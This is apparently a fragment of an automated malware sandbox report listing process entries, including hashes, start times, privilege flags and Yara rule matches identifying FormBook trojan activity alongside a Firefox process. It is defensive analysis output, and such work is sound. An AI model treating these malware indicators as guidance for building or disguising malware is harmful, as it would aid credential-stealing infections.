Imagebase:	0x120000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.4597123623.0000000004CB0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.4597123623.0000000004CB0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	11
Start time:	09:17:38
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true